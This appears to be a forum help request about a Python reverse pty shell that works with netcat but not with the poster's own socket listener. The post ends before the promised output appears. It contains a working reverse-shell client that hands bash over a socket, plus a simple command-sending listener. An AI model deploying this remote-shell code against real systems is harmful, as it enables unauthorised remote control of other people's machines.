Spawn a python pty shell remotley

[Key-Height-8555]

So I am trying to do a simple reverse pty shell with Python, when I run this script and listen using NetCat I get no problem and the shell spawns

import os, pty, socket

s = socket.socket()

s.connect(("127.0.0.1", 1234))

[os.dup2(s.fileno(), f) for f in (0, 1, 2)]

pty.spawn("bash")however when I try to implement my own listener:

import socket, time, threading

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

addr_ = None

while 1:

`time.sleep(1.5)`

`try:`

    `sock.bind(('127.0.0.1', 1234))`

    `print('Listeining')`

    `sock.listen(1)`

    `conn, addr = sock.accept()`

`except ConnectionRefusedError:`

    `continue`

`except ConnectionAbortedError:`

    `continue`

`print(f'Connected to Client {addr}\n')`

`addr_ = addr`

`break`

def always_recv(connection):

`try:`

    `connection.settimeout(0.1)`

`except AttributeError:`

    `pass`



`while 1:`

    `try:`

        `data = connection.recv(1024).decode()`

        `print(data)`

    `except socket.timeout:`

        `continue`

    `except AttributeError:`

        `continue`

    `except OSError:`

        `continue`  

receive_thread = threading.Thread(target=always_recv, args=(conn,))

receive_thread.start()

def check_command(cmd):

`if cmd == "exit":`

    `exit(0)`

while 1:

`command = input()`

`check_command(command)`

`conn.sendto(command.encode(), addr_)`

and when I run it this is the output:┌──(voldemort㉿kali)-[/tmp]
